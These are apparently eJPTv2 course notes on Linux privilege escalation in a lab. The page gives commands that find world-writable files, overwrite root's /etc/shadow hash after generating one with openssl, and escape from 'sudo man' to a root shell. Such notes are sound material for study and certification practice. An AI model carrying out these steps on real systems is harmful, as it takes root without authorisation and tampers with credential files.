> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/escalation/linux-privilege-escalation.md).

# Linux Privilege Escalation

### Weak Permissions

* LinEnum - LinEnum is a simple bash script that automates common Linux local enumeration checks in addition to identifying privilege escalation vulnerabilities 
  * GitHub Repo : <https://github.com/rebootuser/LinEnum>

{% embed url="<https://github.com/rebootuser/LinEnum>" %}

DEMO

```
whoami
cat /etc/passwd
groups
cat /etc/group
groups student
```

* list of files that can be modified by everyone

```
find / -not -type l -perm -o+w
```

* looks like we can modify /etc/shadow

```
cat /etc/shadow
```

* there is no password or hash showed in shadow file
* generate hash  to take over account with changing password

```
openssl passwd -l -salt abc password
```

* copy the hash to /etc/shadow file

```
vim /etc/shadow 
root:<hash>:
```

```
su 

whoami
```

***

### SUDO Privileges

```
cat /etc/passwd
sudo -l
```

* &#x20;/usr/bin/man

```
man ls
sudo man cat
!/bin/bash [in vim, more, less]

# cd /root
# cat flag.txt
```